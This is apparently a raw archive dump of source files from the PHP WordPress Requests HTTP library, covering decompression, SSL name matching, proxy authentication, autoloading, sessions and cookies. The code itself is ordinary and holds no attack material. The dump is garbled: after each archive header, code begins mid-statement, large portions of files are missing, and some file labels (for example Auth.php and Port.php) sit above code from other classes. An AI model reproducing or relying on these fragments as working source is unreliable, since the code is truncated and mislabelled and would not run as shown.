$decoded = @gzdecode($data);
if ($decoded !== false) {
return $decoded;
}
}
if (function_exists('gzinflate')) {
$decoded = @gzinflate($data);
if ($decoded !== false) {
return $decoded;
}
}
$decoded = self::compatible_gzinflate($data);
if ($decoded !== false) {
return $decoded;
}
if (function_exists('gzuncompress')) {
$decoded = @gzuncompress($data);
if ($decoded !== false) {
return $decoded;
}
}
return $data;
}
/**
* Decompression of deflated string while staying compatible with the majority of servers.
*
* Certain Servers will return deflated data with headers which PHP's gzinflate()
* function cannot handle out of the box. The following function has been created from
* various snippets on the gzinflate() PHP documentation.
*
* Warning: Magic numbers within. Due to the potential different formats that the compressed
* data may be returned in, some "magic offsets" are needed to ensure proper decompression
* takes place. For a simple progmatic way to determine the magic offset in use, see:
* https://core.trac.wordpress.org/ticket/18273
*
* @since 1.6.0
* @link https://core.trac.wordpress.org/ticket/18273
* @link https://www.php.net/gzinflate#70875
* @link https://www.php.net/gzinflate#77336
*
* @param string $gz_data String to decompress.
* @return string|bool False on failure.
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
*/
public static function compatible_gzinflate($gz_data) {
if (is_string($gz_data) === false) {
throw InvalidArgument::create(1, '$gz_data', 'string', gettype($gz_data));
}
if (trim($gz_data) === '') {
return false;
}
// Compressed data might contain a full zlib header, if so strip it for
// gzinflate()
if (substr($gz_data, 0, 3) === "\x1f\x8b\x08") {
$i = 10;
$flg = ord(substr($gz_data, 3, 1));
if ($flg > 0) {
if ($flg & 4) {
list($xlen) = unpack('v', substr($gz_data, $i, 2));
$i += 2 + $xlen;
}
if ($flg & 8) {
$i = strpos($gz_data, "\0", $i) + 1;
}
if ($flg & 16) {
$i = strpos($gz_data, "\0", $i) + 1;
}
if ($flg & 2) {
$i += 2;
}
}
$decompressed = self::compatible_gzinflate(substr($gz_data, $i));
if ($decompressed !== false) {
return $decompressed;
}
}
// If the data is Huffman Encoded, we must first strip the leading 2
// byte Huffman marker for gzinflate()
// The response is Huffman coded by many compressors such as
// java.util.zip.Deflater, Ruby's Zlib::Deflate, and .NET's
// System.IO.Compression.DeflateStream.
//
// See https://decompres.blogspot.com/ for a quick explanation of this
// data type
$huffman_encoded = false;
// low nibble of first byte should be 0x08
list(, $first_nibble) = unpack('h', $gz_data);
// First 2 bytes should be divisible by 0x1F
list(, $first_two_bytes) = unpack('n', $gz_data);
if ($first_nibble === 0x08 && ($first_two_bytes % 0x1F) === 0) {
$huffman_encoded = true;
}
if ($huffman_encoded) {
$decompressed = @gzinflate(substr($gz_data, 2));
if ($decompressed !== false) {
return $decompressed;
}
}
if (substr($gz_data, 0, 4) === "\x50\x4b\x03\x04") {
// ZIP file format header
// Offset 6: 2 bytes, General-purpose field
// Offset 26: 2 bytes, filename length
// Offset 28: 2 bytes, optional field length
// Offset 30: Filename field, followed by optional field, followed
// immediately by data
list(, $general_purpose_flag) = unpack('v', substr($gz_data, 6, 2));
// If the file has been compressed on the fly, 0x08 bit is set of
// the general purpose field. We can use this to differentiate
// between a compressed document, and a ZIP file
$zip_compressed_on_the_fly = ((0x08 & $general_purpose_flag) === 0x08);
if (!$zip_compressed_on_the_fly) {
// Don't attempt to decode a compressed zip file
return $gz_data;
}
// Determine the first byte of data, based on the above ZIP header
// offsets:
$first_file_start = array_sum(unpack('v2', substr($gz_data, 26, 4)));
$decompressed = @gzinflate(substr($gz_data, 30 + $first_file_start));
if ($decompressed !== false) {
return $decompressed;
}
return false;
}
// Finally fall back to straight gzinflate
$decompressed = @gzinflate($gz_data);
if ($decompressed !== false) {
return $decompressed;
}
// Fallback for all above failing, not expected, but included for
// debugging and preventing regressions and to track stats
$decompressed = @gzinflate(substr($gz_data, 2));
if ($decompressed !== false) {
return $decompressed;
}
return false;
}
}
src/Ssl.php 0000644 00000012461 15162160274 0006615 0 ustar 00 0) {
// Whitespace detected. This can never be a dNSName.
return false;
}
$parts = explode('.', $reference);
if ($parts !== array_filter($parts)) {
// DNSName cannot contain two dots next to each other.
return false;
}
// Check the first part of the name
$first = array_shift($parts);
if (strpos($first, '*') !== false) {
// Check that the wildcard is the full part
if ($first !== '*') {
return false;
}
// Check that we have at least 3 components (including first)
if (count($parts) < 2) {
return false;
}
}
// Check the remaining parts
foreach ($parts as $part) {
if (strpos($part, '*') !== false) {
return false;
}
}
// Nothing found, verified!
return true;
}
/**
* Match a hostname against a dNSName reference
*
* @param string|Stringable $host Requested host
* @param string|Stringable $reference dNSName to match against
* @return boolean Does the domain match?
* @throws \WpOrg\Requests\Exception\InvalidArgument When either of the passed arguments is not a string or a stringable object.
*/
public static function match_domain($host, $reference) {
if (InputValidator::is_string_or_stringable($host) === false) {
throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host));
}
// Check if the reference is blocklisted first
if (self::verify_reference_name($reference) !== true) {
return false;
}
// Check for a direct match
if ((string) $host === (string) $reference) {
return true;
}
// Calculate the valid wildcard match if the host is not an IP address
// Also validates that the host has 3 parts or more, as per Firefox's ruleset,
// as a wildcard reference is only allowed with 3 parts or more, so the
// comparison will never match if host doesn't contain 3 parts or more as well.
if (ip2long($host) === false) {
$parts = explode('.', $host);
$parts[0] = '*';
$wildcard = implode('.', $parts);
if ($wildcard === (string) $reference) {
return true;
}
}
return false;
}
}
src/Auth.php 0000644 00000001534 15162160274 0006754 0 ustar 00 proxy = $args;
} elseif (is_array($args)) {
if (count($args) === 1) {
list($this->proxy) = $args;
} elseif (count($args) === 3) {
list($this->proxy, $this->user, $this->pass) = $args;
$this->use_authentication = true;
} else {
throw ArgumentCount::create(
'an array with exactly one element or exactly three elements',
count($args),
'proxyhttpbadargs'
);
}
} elseif ($args !== null) {
throw InvalidArgument::create(1, '$args', 'array|string|null', gettype($args));
}
}
/**
* Register the necessary callbacks
*
* @since 1.6
* @see \WpOrg\Requests\Proxy\Http::curl_before_send()
* @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_socket()
* @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_host_path()
* @see \WpOrg\Requests\Proxy\Http::fsockopen_header()
* @param \WpOrg\Requests\Hooks $hooks Hook system
*/
public function register(Hooks $hooks) {
$hooks->register('curl.before_send', [$this, 'curl_before_send']);
$hooks->register('fsockopen.remote_socket', [$this, 'fsockopen_remote_socket']);
$hooks->register('fsockopen.remote_host_path', [$this, 'fsockopen_remote_host_path']);
if ($this->use_authentication) {
$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
}
}
/**
* Set cURL parameters before the data is sent
*
* @since 1.6
* @param resource|\CurlHandle $handle cURL handle
*/
public function curl_before_send(&$handle) {
curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
curl_setopt($handle, CURLOPT_PROXY, $this->proxy);
if ($this->use_authentication) {
curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY);
curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string());
}
}
/**
* Alter remote socket information before opening socket connection
*
* @since 1.6
* @param string $remote_socket Socket connection string
*/
public function fsockopen_remote_socket(&$remote_socket) {
$remote_socket = $this->proxy;
}
/**
* Alter remote path before getting stream data
*
* @since 1.6
* @param string $path Path to send in HTTP request string ("GET ...")
* @param string $url Full URL we're requesting
*/
public function fsockopen_remote_host_path(&$path, $url) {
$path = $url;
}
/**
* Add extra headers to the request before sending
*
* @since 1.6
* @param string $out HTTP header string
*/
public function fsockopen_header(&$out) {
$out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string()));
}
/**
* Get the authentication string (user:pass)
*
* @since 1.6
* @return string
*/
public function get_auth_string() {
return $this->user . ':' . $this->pass;
}
}
src/Autoload.php 0000644 00000022167 15162160274 0007630 0 ustar 00 '\WpOrg\Requests\Auth',
'requests_hooker' => '\WpOrg\Requests\HookManager',
'requests_proxy' => '\WpOrg\Requests\Proxy',
'requests_transport' => '\WpOrg\Requests\Transport',
// Classes.
'requests_cookie' => '\WpOrg\Requests\Cookie',
'requests_exception' => '\WpOrg\Requests\Exception',
'requests_hooks' => '\WpOrg\Requests\Hooks',
'requests_idnaencoder' => '\WpOrg\Requests\IdnaEncoder',
'requests_ipv6' => '\WpOrg\Requests\Ipv6',
'requests_iri' => '\WpOrg\Requests\Iri',
'requests_response' => '\WpOrg\Requests\Response',
'requests_session' => '\WpOrg\Requests\Session',
'requests_ssl' => '\WpOrg\Requests\Ssl',
'requests_auth_basic' => '\WpOrg\Requests\Auth\Basic',
'requests_cookie_jar' => '\WpOrg\Requests\Cookie\Jar',
'requests_proxy_http' => '\WpOrg\Requests\Proxy\Http',
'requests_response_headers' => '\WpOrg\Requests\Response\Headers',
'requests_transport_curl' => '\WpOrg\Requests\Transport\Curl',
'requests_transport_fsockopen' => '\WpOrg\Requests\Transport\Fsockopen',
'requests_utility_caseinsensitivedictionary' => '\WpOrg\Requests\Utility\CaseInsensitiveDictionary',
'requests_utility_filterediterator' => '\WpOrg\Requests\Utility\FilteredIterator',
'requests_exception_http' => '\WpOrg\Requests\Exception\Http',
'requests_exception_transport' => '\WpOrg\Requests\Exception\Transport',
'requests_exception_transport_curl' => '\WpOrg\Requests\Exception\Transport\Curl',
'requests_exception_http_304' => '\WpOrg\Requests\Exception\Http\Status304',
'requests_exception_http_305' => '\WpOrg\Requests\Exception\Http\Status305',
'requests_exception_http_306' => '\WpOrg\Requests\Exception\Http\Status306',
'requests_exception_http_400' => '\WpOrg\Requests\Exception\Http\Status400',
'requests_exception_http_401' => '\WpOrg\Requests\Exception\Http\Status401',
'requests_exception_http_402' => '\WpOrg\Requests\Exception\Http\Status402',
'requests_exception_http_403' => '\WpOrg\Requests\Exception\Http\Status403',
'requests_exception_http_404' => '\WpOrg\Requests\Exception\Http\Status404',
'requests_exception_http_405' => '\WpOrg\Requests\Exception\Http\Status405',
'requests_exception_http_406' => '\WpOrg\Requests\Exception\Http\Status406',
'requests_exception_http_407' => '\WpOrg\Requests\Exception\Http\Status407',
'requests_exception_http_408' => '\WpOrg\Requests\Exception\Http\Status408',
'requests_exception_http_409' => '\WpOrg\Requests\Exception\Http\Status409',
'requests_exception_http_410' => '\WpOrg\Requests\Exception\Http\Status410',
'requests_exception_http_411' => '\WpOrg\Requests\Exception\Http\Status411',
'requests_exception_http_412' => '\WpOrg\Requests\Exception\Http\Status412',
'requests_exception_http_413' => '\WpOrg\Requests\Exception\Http\Status413',
'requests_exception_http_414' => '\WpOrg\Requests\Exception\Http\Status414',
'requests_exception_http_415' => '\WpOrg\Requests\Exception\Http\Status415',
'requests_exception_http_416' => '\WpOrg\Requests\Exception\Http\Status416',
'requests_exception_http_417' => '\WpOrg\Requests\Exception\Http\Status417',
'requests_exception_http_418' => '\WpOrg\Requests\Exception\Http\Status418',
'requests_exception_http_428' => '\WpOrg\Requests\Exception\Http\Status428',
'requests_exception_http_429' => '\WpOrg\Requests\Exception\Http\Status429',
'requests_exception_http_431' => '\WpOrg\Requests\Exception\Http\Status431',
'requests_exception_http_500' => '\WpOrg\Requests\Exception\Http\Status500',
'requests_exception_http_501' => '\WpOrg\Requests\Exception\Http\Status501',
'requests_exception_http_502' => '\WpOrg\Requests\Exception\Http\Status502',
'requests_exception_http_503' => '\WpOrg\Requests\Exception\Http\Status503',
'requests_exception_http_504' => '\WpOrg\Requests\Exception\Http\Status504',
'requests_exception_http_505' => '\WpOrg\Requests\Exception\Http\Status505',
'requests_exception_http_511' => '\WpOrg\Requests\Exception\Http\Status511',
'requests_exception_http_unknown' => '\WpOrg\Requests\Exception\Http\StatusUnknown',
];
/**
* Register the autoloader.
*
* Note: the autoloader is *prepended* in the autoload queue.
* This is done to ensure that the Requests 2.0 autoloader takes precedence
* over a potentially (dependency-registered) Requests 1.x autoloader.
*
* @internal This method contains a safeguard against the autoloader being
* registered multiple times. This safeguard uses a global constant to
* (hopefully/in most cases) still function correctly, even if the
* class would be renamed.
*
* @return void
*/
public static function register() {
if (defined('REQUESTS_AUTOLOAD_REGISTERED') === false) {
spl_autoload_register([self::class, 'load'], true);
define('REQUESTS_AUTOLOAD_REGISTERED', true);
}
}
/**
* Autoloader.
*
* @param string $class_name Name of the class name to load.
*
* @return bool Whether a class was loaded or not.
*/
public static function load($class_name) {
// Check that the class starts with "Requests" (PSR-0) or "WpOrg\Requests" (PSR-4).
$psr_4_prefix_pos = strpos($class_name, 'WpOrg\\Requests\\');
if (stripos($class_name, 'Requests') !== 0 && $psr_4_prefix_pos !== 0) {
return false;
}
$class_lower = strtolower($class_name);
if ($class_lower === 'requests') {
// Reference to the original PSR-0 Requests class.
$file = dirname(__DIR__) . '/library/Requests.php';
} elseif ($psr_4_prefix_pos === 0) {
// PSR-4 classname.
$file = __DIR__ . '/' . strtr(substr($class_name, 15), '\\', '/') . '.php';
}
if (isset($file) && file_exists($file)) {
include $file;
return true;
}
/*
* Okay, so the class starts with "Requests", but we couldn't find the file.
* If this is one of the deprecated/renamed PSR-0 classes being requested,
* let's alias it to the new name and throw a deprecation notice.
*/
if (isset(self::$deprecated_classes[$class_lower])) {
/*
* Integrators who cannot yet upgrade to the PSR-4 class names can silence deprecations
* by defining a `REQUESTS_SILENCE_PSR0_DEPRECATIONS` constant and setting it to `true`.
* The constant needs to be defined before the first deprecated class is requested
* via this autoloader.
*/
if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS') || REQUESTS_SILENCE_PSR0_DEPRECATIONS !== true) {
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error
trigger_error(
'The PSR-0 `Requests_...` class names in the Requests library are deprecated.'
. ' Switch to the PSR-4 `WpOrg\Requests\...` class names at your earliest convenience.',
E_USER_DEPRECATED
);
// Prevent the deprecation notice from being thrown twice.
if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS')) {
define('REQUESTS_SILENCE_PSR0_DEPRECATIONS', true);
}
}
// Create an alias and let the autoloader recursively kick in to load the PSR-4 class.
return class_alias(self::$deprecated_classes[$class_lower], $class_name, true);
}
return false;
}
}
}
src/Port.php 0000644 00000002741 15162160274 0007000 0 ustar 00 type = $type;
$this->data = $data;
}
/**
* Like {@see \Exception::getCode()}, but a string code.
*
* @codeCoverageIgnore
* @return string
*/
public function getType() {
return $this->type;
}
/**
* Gives any relevant data
*
* @codeCoverageIgnore
* @return mixed
*/
public function getData() {
return $this->data;
}
}
src/Session.php 0000644 00000021623 15162160274 0007477 0 ustar 00 useragent = 'X';`
*
* @var array
*/
public $options = [];
/**
* Create a new session
*
* @param string|Stringable|null $url Base URL for requests
* @param array $headers Default headers for requests
* @param array $data Default data for requests
* @param array $options Default options for requests
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or null.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not an array.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
*/
public function __construct($url = null, $headers = [], $data = [], $options = []) {
if ($url !== null && InputValidator::is_string_or_stringable($url) === false) {
throw InvalidArgument::create(1, '$url', 'string|Stringable|null', gettype($url));
}
if (is_array($headers) === false) {
throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
}
if (is_array($data) === false) {
throw InvalidArgument::create(3, '$data', 'array', gettype($data));
}
if (is_array($options) === false) {
throw InvalidArgument::create(4, '$options', 'array', gettype($options));
}
$this->url = $url;
$this->headers = $headers;
$this->data = $data;
$this->options = $options;
if (empty($this->options['cookies'])) {
$this->options['cookies'] = new Jar();
}
}
/**
* Get a property's value
*
* @param string $name Property name.
* @return mixed|null Property value, null if none found
*/
public function __get($name) {
if (isset($this->options[$name])) {
return $this->options[$name];
}
return null;
}
/**
* Set a property's value
*
* @param string $name Property name.
* @param mixed $value Property value
*/
public function __set($name, $value) {
$this->options[$name] = $value;
}
/**
* Remove a property's value
*
* @param string $name Property name.
*/
public function __isset($name) {
return isset($this->options[$name]);
}
/**
* Remove a property's value
*
* @param string $name Property name.
*/
public function __unset($name) {
unset($this->options[$name]);
}
/**#@+
* @see \WpOrg\Requests\Session::request()
* @param string $url
* @param array $headers
* @param array $options
* @return \WpOrg\Requests\Response
*/
/**
* Send a GET request
*/
public function get($url, $headers = [], $options = []) {
return $this->request($url, $headers, null, Requests::GET, $options);
}
/**
* Send a HEAD request
*/
public function head($url, $headers = [], $options = []) {
return $this->request($url, $headers, null, Requests::HEAD, $options);
}
/**
* Send a DELETE request
*/
public function delete($url, $headers = [], $options = []) {
return $this->request($url, $headers, null, Requests::DELETE, $options);
}
/**#@-*/
/**#@+
* @see \WpOrg\Requests\Session::request()
* @param string $url
* @param array $headers
* @param array $data
* @param array $options
* @return \WpOrg\Requests\Response
*/
/**
* Send a POST request
*/
public function post($url, $headers = [], $data = [], $options = []) {
return $this->request($url, $headers, $data, Requests::POST, $options);
}
/**
* Send a PUT request
*/
public function put($url, $headers = [], $data = [], $options = []) {
return $this->request($url, $headers, $data, Requests::PUT, $options);
}
/**
* Send a PATCH request
*
* Note: Unlike {@see \WpOrg\Requests\Session::post()} and {@see \WpOrg\Requests\Session::put()},
* `$headers` is required, as the specification recommends that should send an ETag
*
* @link https://tools.ietf.org/html/rfc5789
*/
public function patch($url, $headers, $data = [], $options = []) {
return $this->request($url, $headers, $data, Requests::PATCH, $options);
}
/**#@-*/
/**
* Main interface for HTTP requests
*
* This method initiates a request and sends it via a transport before
* parsing.
*
* @see \WpOrg\Requests\Requests::request()
*
* @param string $url URL to request
* @param array $headers Extra headers to send with the request
* @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
* @param string $type HTTP request type (use \WpOrg\Requests\Requests constants)
* @param array $options Options for the request (see {@see \WpOrg\Requests\Requests::request()})
* @return \WpOrg\Requests\Response
*
* @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
*/
public function request($url, $headers = [], $data = [], $type = Requests::GET, $options = []) {
$request = $this->merge_request(compact('url', 'headers', 'data', 'options'));
return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']);
}
/**
* Send multiple HTTP requests simultaneously
*
* @see \WpOrg\Requests\Requests::request_multiple()
*
* @param array $requests Requests data (see {@see \WpOrg\Requests\Requests::request_multiple()})
* @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
* @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
*/
public function request_multiple($requests, $options = []) {
if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
}
if (is_array($options) === false) {
throw InvalidArgument::create(2, '$options', 'array', gettype($options));
}
foreach ($requests as $key => $request) {
$requests[$key] = $this->merge_request($request, false);
}
$options = array_merge($this->options, $options);
// Disallow forcing the type, as that's a per request setting
unset($options['type']);
return Requests::request_multiple($requests, $options);
}
public function __wakeup() {
throw new \LogicException( __CLASS__ . ' should never be unserialized' );
}
/**
* Merge a request's data with the default data
*
* @param array $request Request data (same form as {@see \WpOrg\Requests\Session::request_multiple()})
* @param boolean $merge_options Should we merge options as well?
* @return array Request data
*/
protected function merge_request($request, $merge_options = true) {
if ($this->url !== null) {
$request['url'] = Iri::absolutize($this->url, $request['url']);
$request['url'] = $request['url']->uri;
}
if (empty($request['headers'])) {
$request['headers'] = [];
}
$request['headers'] = array_merge($this->headers, $request['headers']);
if (empty($request['data'])) {
if (is_array($this->data)) {
$request['data'] = $this->data;
}
} elseif (is_array($request['data']) && is_array($this->data)) {
$request['data'] = array_merge($this->data, $request['data']);
}
if ($merge_options === true) {
$request['options'] = array_merge($this->options, $request['options']);
// Disallow forcing the type, as that's a per request setting
unset($request['options']['type']);
}
return $request;
}
}
src/Cookie.php 0000755 00000036035 15162160274 0007273 0 ustar 00 name = $name;
$this->value = $value;
$this->attributes = $attributes;
$default_flags = [
'creation' => time(),
'last-access' => time(),
'persistent' => false,
'host-only' => true,
];
$this->flags = array_merge($default_flags, $flags);
$this->reference_time = time();
if ($reference_time !== null) {
$this->reference_time = $reference_time;
}
$this->normalize();
}
/**
* Get the cookie value
*
* Attributes and other data can be accessed via methods.
*/
public function __toString() {
return $this->value;
}
/**
* Check if a cookie is expired.
*
* Checks the age against $this->reference_time to determine if the cookie
* is expired.
*
* @return boolean True if expired, false if time is valid.
*/
public function is_expired() {
// RFC6265, s. 4.1.2.2:
// If a cookie has both the Max-Age and the Expires attribute, the Max-
// Age attribute has precedence and controls the expiration date of the
// cookie.
if (isset($this->attributes['max-age'])) {
$max_age = $this->attributes['max-age'];
return $max_age < $this->reference_time;
}
if (isset($this->attributes['expires'])) {
$expires = $this->attributes['expires'];
return $expires < $this->reference_time;
}
return false;
}
/**
* Check if a cookie is valid for a given URI
*
* @param \WpOrg\Requests\Iri $uri URI to check
* @return boolean Whether the cookie is valid for the given URI
*/
public function uri_matches(Iri $uri) {
if (!$this->domain_matches($uri->host)) {
return false;
}
if (!$this->path_matches($uri->path)) {
return false;
}
return empty($this->attributes['secure']) || $uri->scheme === 'https';
}
/**
* Check if a cookie is valid for a given domain
*
* @param string $domain Domain to check
* @return boolean Whether the cookie is valid for the given domain
*/
public function domain_matches($domain) {
if (is_string($domain) === false) {
return false;
}
if (!isset($this->attributes['domain'])) {
// Cookies created manually; cookies created by Requests will set
// the domain to the requested domain
return true;
}
$cookie_domain = $this->attributes['domain'];
if ($cookie_domain === $domain) {
// The cookie domain and the passed domain are identical.
return true;
}
// If the cookie is marked as host-only and we don't have an exact
// match, reject the cookie
if ($this->flags['host-only'] === true) {
return false;
}
if (strlen($domain) <= strlen($cookie_domain)) {
// For obvious reasons, the cookie domain cannot be a suffix if the passed domain
// is shorter than the cookie domain
return false;
}
if (substr($domain, -1 * strlen($cookie_domain)) !== $cookie_domain) {
// The cookie domain should be a suffix of the passed domain.
return false;
}
$prefix = substr($domain, 0, strlen($domain) - strlen($cookie_domain));
if (substr($prefix, -1) !== '.') {
// The last character of the passed domain that is not included in the
// domain string should be a %x2E (".") character.
return false;
}
// The passed domain should be a host name (i.e., not an IP address).
return !preg_match('#^(.+\.)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $domain);
}
/**
* Check if a cookie is valid for a given path
*
* From the path-match check in RFC 6265 section 5.1.4
*
* @param string $request_path Path to check
* @return boolean Whether the cookie is valid for the given path
*/
public function path_matches($request_path) {
if (empty($request_path)) {
// Normalize empty path to root
$request_path = '/';
}
if (!isset($this->attributes['path'])) {
// Cookies created manually; cookies created by Requests will set
// the path to the requested path
return true;
}
if (is_scalar($request_path) === false) {
return false;
}
$cookie_path = $this->attributes['path'];
if ($cookie_path === $request_path) {
// The cookie-path and the request-path are identical.
return true;
}
if (strlen($request_path) > strlen($cookie_path) && substr($request_path, 0, strlen($cookie_path)) === $cookie_path) {
if (substr($cookie_path, -1) === '/') {
// The cookie-path is a prefix of the request-path, and the last
// character of the cookie-path is %x2F ("/").
return true;
}
if (substr($request_path, strlen($cookie_path), 1) === '/') {
// The cookie-path is a prefix of the request-path, and the
// first character of the request-path that is not included in
// the cookie-path is a %x2F ("/") character.
return true;
}
}
return false;
}
/**
* Normalize cookie and attributes
*
* @return boolean Whether the cookie was successfully normalized
*/
public function normalize() {
foreach ($this->attributes as $key => $value) {
$orig_value = $value;
if (is_string($key)) {
$value = $this->normalize_attribute($key, $value);
}
if ($value === null) {
unset($this->attributes[$key]);
continue;
}
if ($value !== $orig_value) {
$this->attributes[$key] = $value;
}
}
return true;
}
/**
* Parse an individual cookie attribute
*
* Handles parsing individual attributes from the cookie values.
*
* @param string $name Attribute name
* @param string|int|bool $value Attribute value (string/integer value, or true if empty/flag)
* @return mixed Value if available, or null if the attribute value is invalid (and should be skipped)
*/
protected function normalize_attribute($name, $value) {
switch (strtolower($name)) {
case 'expires':
// Expiration parsing, as per RFC 6265 section 5.2.1
if (is_int($value)) {
return $value;
}
$expiry_time = strtotime($value);
if ($expiry_time === false) {
return null;
}
return $expiry_time;
case 'max-age':
// Expiration parsing, as per RFC 6265 section 5.2.2
if (is_int($value)) {
return $value;
}
// Check that we have a valid age
if (!preg_match('/^-?\d+$/', $value)) {
return null;
}
$delta_seconds = (int) $value;
if ($delta_seconds <= 0) {
$expiry_time = 0;
} else {
$expiry_time = $this->reference_time + $delta_seconds;
}
return $expiry_time;
case 'domain':
// Domains are not required as per RFC 6265 section 5.2.3
if (empty($value)) {
return null;
}
// Domain normalization, as per RFC 6265 section 5.2.3
if ($value[0] === '.') {
$value = substr($value, 1);
}
return $value;
default:
return $value;
}
}
/**
* Format a cookie for a Cookie header
*
* This is used when sending cookies to a server.
*
* @return string Cookie formatted for Cookie header
*/
public function format_for_header() {
return sprintf('%s=%s', $this->name, $this->value);
}
/**
* Format a cookie for a Set-Cookie header
*
* This is used when sending cookies to clients. This isn't really
* applicable to client-side usage, but might be handy for debugging.
*
* @return string Cookie formatted for Set-Cookie header
*/
public function format_for_set_cookie() {
$header_value = $this->format_for_header();
if (!empty($this->attributes)) {
$parts = [];
foreach ($this->attributes as $key => $value) {
// Ignore non-associative attributes
if (is_numeric($key)) {
$parts[] = $value;
} else {
$parts[] = sprintf('%s=%s', $key, $value);
}
}
$header_value .= '; ' . implode('; ', $parts);
}
return $header_value;
}
/**
* Parse a cookie string into a cookie object
*
* Based on Mozilla's parsing code in Firefox and related projects, which
* is an intentional deviation from RFC 2109 and RFC 2616. RFC 6265
* specifies some of this handling, but not in a thorough manner.
*
* @param string $cookie_header Cookie header value (from a Set-Cookie header)
* @param string $name
* @param int|null $reference_time
* @return \WpOrg\Requests\Cookie Parsed cookie object
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cookie_header argument is not a string.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string.
*/
public static function parse($cookie_header, $name = '', $reference_time = null) {
if (is_string($cookie_header) === false) {
throw InvalidArgument::create(1, '$cookie_header', 'string', gettype($cookie_header));
}
if (is_string($name) === false) {
throw InvalidArgument::create(2, '$name', 'string', gettype($name));
}
$parts = explode(';', $cookie_header);
$kvparts = array_shift($parts);
if (!empty($name)) {
$value = $cookie_header;
} elseif (strpos($kvparts, '=') === false) {
// Some sites might only have a value without the equals separator.
// Deviate from RFC 6265 and pretend it was actually a blank name
// (`=foo`)
//
// https://bugzilla.mozilla.org/show_bug.cgi?id=169091
$name = '';
$value = $kvparts;
} else {
list($name, $value) = explode('=', $kvparts, 2);
}
$name = trim($name);
$value = trim($value);
// Attribute keys are handled case-insensitively
$attributes = new CaseInsensitiveDictionary();
if (!empty($parts)) {
foreach ($parts as $part) {
if (strpos($part, '=') === false) {
$part_key = $part;
$part_value = true;
} else {
list($part_key, $part_value) = explode('=', $part, 2);
$part_value = trim($part_value);
}
$part_key = trim($part_key);
$attributes[$part_key] = $part_value;
}
}
return new static($name, $value, $attributes, [], $reference_time);
}
/**
* Parse all Set-Cookie headers from request headers
*
* @param \WpOrg\Requests\Response\Headers $headers Headers to parse from
* @param \WpOrg\Requests\Iri|null $origin URI for comparing cookie origins
* @param int|null $time Reference time for expiration calculation
* @return array
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $origin argument is not null or an instance of the Iri class.
*/
public static function parse_from_headers(Headers $headers, $origin = null, $time = null) {
$cookie_headers = $headers->getValues('Set-Cookie');
if (empty($cookie_headers)) {
return [];
}
if ($origin !== null && !($origin instanceof Iri)) {
throw InvalidArgument::create(2, '$origin', Iri::class . ' or null', gettype($origin));
}
$cookies = [];
foreach ($cookie_headers as $header) {
$parsed = self::parse($header, '', $time);
// Default domain/path attributes
if (empty($parsed->attributes['domain']) && !empty($origin)) {
$parsed->attributes['domain'] = $origin->host;
$parsed->flags['host-only'] = true;
} else {
$parsed->flags['host-only'] = false;
}
$path_is_valid = (!empty($parsed->attributes['path']) && $parsed->attributes['path'][0] === '/');
if (!$path_is_valid && !empty($origin)) {
$path = $origin->path;
// Default path normalization as per RFC 6265 section 5.1.4
if (substr($path, 0, 1) !== '/') {
// If the uri-path is empty or if the first character of
// the uri-path is not a %x2F ("/") character, output
// %x2F ("/") and skip the remaining steps.
$path = '/';
} elseif (substr_count($path, '/') === 1) {
// If the uri-path contains no more than one %x2F ("/")
// character, output %x2F ("/") and skip the remaining
// step.
$path = '/';
} else {
// Output the characters of the uri-path from the first
// character up to, but not including, the right-most
// %x2F ("/").
$path = substr($path, 0, strrpos($path, '/'));
}
$parsed->attributes['path'] = $path;
}
// Reject invalid cookie domains
if (!empty($origin) && !$parsed->domain_matches($origin->host)) {
continue;
}
$cookies[$parsed->name] = $parsed;
}
return $cookies;
}
}
src/Capability.php 0000644 00000001214 15162160274 0010127 0 ustar 00 $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`.
* @return bool Whether the transport can be used.
*/
public static function test($capabilities = []);
}
src/Hooks.php 0000644 00000005730 15162160274 0007140 0 ustar 00 0 is executed later
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $callback argument is not callable.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $priority argument is not an integer.
*/
public function register($hook, $callback, $priority = 0) {
if (is_string($hook) === false) {
throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
}
if (is_callable($callback) === false) {
throw InvalidArgument::create(2, '$callback', 'callable', gettype($callback));
}
if (InputValidator::is_numeric_array_key($priority) === false) {
throw InvalidArgument::create(3, '$priority', 'integer', gettype($priority));
}
